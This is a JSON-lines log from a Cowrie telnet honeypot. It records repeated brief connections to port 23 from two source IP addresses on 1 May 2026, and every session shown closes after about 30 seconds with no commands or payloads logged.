{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59754,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f575f414640","protocol":"telnet","message":"New connection: 208.115.200.90:59754 (10.17.0.5:23) [session: 6f575f414640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:43.494430Z"}
{"eventid":"cowrie.session.closed","duration":31.228490829467773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:43.555343Z","src_ip":"208.115.200.90","session":"9a41eb80f04e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59770,"dst_ip":"10.17.0.5","dst_port":23,"session":"5268f7a621bc","protocol":"telnet","message":"New connection: 208.115.200.90:59770 (10.17.0.5:23) [session: 5268f7a621bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:43.772648Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":47332,"dst_ip":"10.17.0.5","dst_port":23,"session":"815d5d1cb56f","protocol":"telnet","message":"New connection: 208.115.219.122:47332 (10.17.0.5:23) [session: 815d5d1cb56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.035116Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59782,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcb5def5d478","protocol":"telnet","message":"New connection: 208.115.200.90:59782 (10.17.0.5:23) [session: fcb5def5d478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.051200Z"}
{"eventid":"cowrie.session.closed","duration":30.553940296173096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.090400Z","src_ip":"208.115.219.122","session":"b24f30d90d83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814778566360474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.124514Z","src_ip":"208.115.200.90","session":"eaa4976df70c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4806866645813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.156054Z","src_ip":"208.115.200.90","session":"9f314ec43902","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.847560167312622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.168797Z","src_ip":"208.115.200.90","session":"19d2e9fce82e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8008713722229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.201104Z","src_ip":"208.115.200.90","session":"53054f44ca86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.833675384521484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.205270Z","src_ip":"208.115.200.90","session":"b0d06d2738c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59172,"dst_ip":"10.17.0.5","dst_port":23,"session":"32233148492d","protocol":"telnet","message":"New connection: 208.115.200.90:59172 (10.17.0.5:23) [session: 32233148492d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.320065Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59180,"dst_ip":"10.17.0.5","dst_port":23,"session":"b91551b14ef9","protocol":"telnet","message":"New connection: 208.115.200.90:59180 (10.17.0.5:23) [session: b91551b14ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.351096Z"}
{"eventid":"cowrie.session.closed","duration":30.76992154121399,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.398546Z","src_ip":"208.115.200.90","session":"14aa8a6a84a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59216,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e34427a91a8","protocol":"telnet","message":"New connection: 208.115.200.90:59216 (10.17.0.5:23) [session: 5e34427a91a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.431010Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59222,"dst_ip":"10.17.0.5","dst_port":23,"session":"90219ff7377f","protocol":"telnet","message":"New connection: 208.115.200.90:59222 (10.17.0.5:23) [session: 90219ff7377f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.477958Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59224,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ccc8b386b7a","protocol":"telnet","message":"New connection: 208.115.200.90:59224 (10.17.0.5:23) [session: 8ccc8b386b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.492336Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59262,"dst_ip":"10.17.0.5","dst_port":23,"session":"70713f39107d","protocol":"telnet","message":"New connection: 208.115.200.90:59262 (10.17.0.5:23) [session: 70713f39107d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:44.639025Z"}
{"eventid":"cowrie.session.closed","duration":30.97363519668579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.018902Z","src_ip":"208.115.219.122","session":"2c35dbb2634d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95626974105835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.026114Z","src_ip":"208.115.219.122","session":"18bcfd27008c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85837435722351,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.032612Z","src_ip":"208.115.219.122","session":"f91163b828ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59049654006958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.037324Z","src_ip":"208.115.200.90","session":"1720c3b6030a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685919046401978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.046673Z","src_ip":"208.115.200.90","session":"16d190533fd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59288,"dst_ip":"10.17.0.5","dst_port":23,"session":"46f216510095","protocol":"telnet","message":"New connection: 208.115.200.90:59288 (10.17.0.5:23) [session: 46f216510095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.062636Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38222,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f70c99bfea6","protocol":"telnet","message":"New connection: 208.115.219.122:38222 (10.17.0.5:23) [session: 3f70c99bfea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.150811Z"}
{"eventid":"cowrie.session.closed","duration":31.079343557357788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.157015Z","src_ip":"208.115.219.122","session":"baf129072e64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59310,"dst_ip":"10.17.0.5","dst_port":23,"session":"05441e63f1f7","protocol":"telnet","message":"New connection: 208.115.200.90:59310 (10.17.0.5:23) [session: 05441e63f1f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.183516Z"}
{"eventid":"cowrie.session.closed","duration":31.14850664138794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.214200Z","src_ip":"208.115.200.90","session":"d528576882ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.036369562149048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.316752Z","src_ip":"208.115.200.90","session":"61189a231b33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59394,"dst_ip":"10.17.0.5","dst_port":23,"session":"d29e4fe26df4","protocol":"telnet","message":"New connection: 208.115.200.90:59394 (10.17.0.5:23) [session: d29e4fe26df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.370819Z"}
{"eventid":"cowrie.session.closed","duration":31.432339429855347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.505984Z","src_ip":"208.115.219.122","session":"540172ad2385","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38314,"dst_ip":"10.17.0.5","dst_port":23,"session":"19fecf7935ee","protocol":"telnet","message":"New connection: 208.115.219.122:38314 (10.17.0.5:23) [session: 19fecf7935ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.560617Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59468,"dst_ip":"10.17.0.5","dst_port":23,"session":"5650e30ec71d","protocol":"telnet","message":"New connection: 208.115.200.90:59468 (10.17.0.5:23) [session: 5650e30ec71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.600555Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38340,"dst_ip":"10.17.0.5","dst_port":23,"session":"04f874c7d9ab","protocol":"telnet","message":"New connection: 208.115.219.122:38340 (10.17.0.5:23) [session: 04f874c7d9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.853899Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59474,"dst_ip":"10.17.0.5","dst_port":23,"session":"8162f69578f2","protocol":"telnet","message":"New connection: 208.115.200.90:59474 (10.17.0.5:23) [session: 8162f69578f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:45.981251Z"}
{"eventid":"cowrie.session.closed","duration":30.438212871551514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.024036Z","src_ip":"208.115.219.122","session":"b9c55be3b41c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38214,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f8d11c4ac66","protocol":"telnet","message":"New connection: 208.115.219.122:38214 (10.17.0.5:23) [session: 4f8d11c4ac66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.089396Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59490,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b3ed78381d0","protocol":"telnet","message":"New connection: 208.115.200.90:59490 (10.17.0.5:23) [session: 2b3ed78381d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.109244Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59502,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c9e6ef44455","protocol":"telnet","message":"New connection: 208.115.200.90:59502 (10.17.0.5:23) [session: 4c9e6ef44455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.117204Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38370,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bbb8b03c012","protocol":"telnet","message":"New connection: 208.115.219.122:38370 (10.17.0.5:23) [session: 2bbb8b03c012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.155232Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38390,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b089591d92f","protocol":"telnet","message":"New connection: 208.115.219.122:38390 (10.17.0.5:23) [session: 0b089591d92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.213915Z"}
{"eventid":"cowrie.session.closed","duration":30.916361570358276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.269298Z","src_ip":"208.115.200.90","session":"65a871a118a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59512,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a928a68047a","protocol":"telnet","message":"New connection: 208.115.200.90:59512 (10.17.0.5:23) [session: 1a928a68047a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.317821Z"}
{"eventid":"cowrie.session.closed","duration":31.23318076133728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.359081Z","src_ip":"208.115.200.90","session":"a52fe87242de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59518,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9fbb9a38759","protocol":"telnet","message":"New connection: 208.115.200.90:59518 (10.17.0.5:23) [session: c9fbb9a38759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.407699Z"}
{"eventid":"cowrie.session.closed","duration":30.931479930877686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.481795Z","src_ip":"208.115.200.90","session":"ebbd37751abf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50350022315979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.517714Z","src_ip":"208.115.219.122","session":"24e01b9dc2fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59534,"dst_ip":"10.17.0.5","dst_port":23,"session":"30fd9275561e","protocol":"telnet","message":"New connection: 208.115.200.90:59534 (10.17.0.5:23) [session: 30fd9275561e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.564839Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59548,"dst_ip":"10.17.0.5","dst_port":23,"session":"68350f4b0c41","protocol":"telnet","message":"New connection: 208.115.200.90:59548 (10.17.0.5:23) [session: 68350f4b0c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.641237Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59578,"dst_ip":"10.17.0.5","dst_port":23,"session":"0071282caa08","protocol":"telnet","message":"New connection: 208.115.200.90:59578 (10.17.0.5:23) [session: 0071282caa08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:46.772463Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38430,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b70204b9f4e","protocol":"telnet","message":"New connection: 208.115.219.122:38430 (10.17.0.5:23) [session: 2b70204b9f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.046766Z"}
{"eventid":"cowrie.session.closed","duration":30.871217489242554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.073884Z","src_ip":"208.115.200.90","session":"e91cfa77e1d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934274435043335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.080760Z","src_ip":"208.115.200.90","session":"ce8c9a2ec300","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38470,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f5cc0dd030e","protocol":"telnet","message":"New connection: 208.115.219.122:38470 (10.17.0.5:23) [session: 1f5cc0dd030e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.094694Z"}
{"eventid":"cowrie.session.closed","duration":31.066843032836914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.101183Z","src_ip":"208.115.219.122","session":"3881939f5869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41079807281494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.118283Z","src_ip":"208.115.200.90","session":"8e57e3457f51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38512,"dst_ip":"10.17.0.5","dst_port":23,"session":"12a204b8d98b","protocol":"telnet","message":"New connection: 208.115.219.122:38512 (10.17.0.5:23) [session: 12a204b8d98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.179525Z"}
{"eventid":"cowrie.session.closed","duration":30.465248823165894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.252727Z","src_ip":"208.115.200.90","session":"19d155277048","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18267583847046,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.288358Z","src_ip":"208.115.219.122","session":"49f7c7b67020","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38570,"dst_ip":"10.17.0.5","dst_port":23,"session":"e85f0acc2784","protocol":"telnet","message":"New connection: 208.115.219.122:38570 (10.17.0.5:23) [session: e85f0acc2784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.317587Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38606,"dst_ip":"10.17.0.5","dst_port":23,"session":"610a4f180849","protocol":"telnet","message":"New connection: 208.115.219.122:38606 (10.17.0.5:23) [session: 610a4f180849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.364315Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59636,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cf298d27398","protocol":"telnet","message":"New connection: 208.115.200.90:59636 (10.17.0.5:23) [session: 8cf298d27398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.411186Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38634,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0a741d29039","protocol":"telnet","message":"New connection: 208.115.219.122:38634 (10.17.0.5:23) [session: e0a741d29039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.472625Z"}
{"eventid":"cowrie.session.closed","duration":31.15966820716858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:47.499612Z","src_ip":"208.115.200.90","session":"bf157ed25dd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955442428588867,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:48.024708Z","src_ip":"208.115.219.122","session":"3380417865c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89066982269287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:48.042762Z","src_ip":"208.115.219.122","session":"5efeafa2af13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38806,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc23d7df7cdf","protocol":"telnet","message":"New connection: 208.115.219.122:38806 (10.17.0.5:23) [session: bc23d7df7cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:48.106172Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59912,"dst_ip":"10.17.0.5","dst_port":23,"session":"59afa0c2e5e6","protocol":"telnet","message":"New connection: 208.115.200.90:59912 (10.17.0.5:23) [session: 59afa0c2e5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:48.199439Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59928,"dst_ip":"10.17.0.5","dst_port":23,"session":"964296a29c19","protocol":"telnet","message":"New connection: 208.115.200.90:59928 (10.17.0.5:23) [session: 964296a29c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:48.282044Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59932,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1cd3f564a0a","protocol":"telnet","message":"New connection: 208.115.200.90:59932 (10.17.0.5:23) [session: f1cd3f564a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:48.382564Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":59396,"dst_ip":"10.17.0.5","dst_port":23,"session":"23653ad22fac","protocol":"telnet","message":"New connection: 208.115.200.90:59396 (10.17.0.5:23) [session: 23653ad22fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:48.458635Z"}
{"eventid":"cowrie.session.closed","duration":31.484957695007324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:48.531050Z","src_ip":"208.115.219.122","session":"d423d789b174","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.899879455566406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:48.636323Z","src_ip":"208.115.200.90","session":"dcfac31aeea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22632145881653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:48.686736Z","src_ip":"208.115.200.90","session":"030fbc945a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.625335931777954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:48.850277Z","src_ip":"208.115.219.122","session":"74b9bf44a47e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60098,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fc37fb61bde","protocol":"telnet","message":"New connection: 208.115.200.90:60098 (10.17.0.5:23) [session: 6fc37fb61bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:49.074410Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60124,"dst_ip":"10.17.0.5","dst_port":23,"session":"adbc0996cb9c","protocol":"telnet","message":"New connection: 208.115.200.90:60124 (10.17.0.5:23) [session: adbc0996cb9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:49.116676Z"}
{"eventid":"cowrie.session.closed","duration":30.203040838241577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:49.160259Z","src_ip":"208.115.200.90","session":"97290907a453","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":38996,"dst_ip":"10.17.0.5","dst_port":23,"session":"b450e423026b","protocol":"telnet","message":"New connection: 208.115.219.122:38996 (10.17.0.5:23) [session: b450e423026b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:49.347642Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60168,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f16e7a9a797","protocol":"telnet","message":"New connection: 208.115.200.90:60168 (10.17.0.5:23) [session: 0f16e7a9a797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:49.446022Z"}
{"eventid":"cowrie.session.closed","duration":31.323451042175293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:14:49.453259Z","src_ip":"208.115.200.90","session":"a4624f9365f2","protocol":"telnet"}
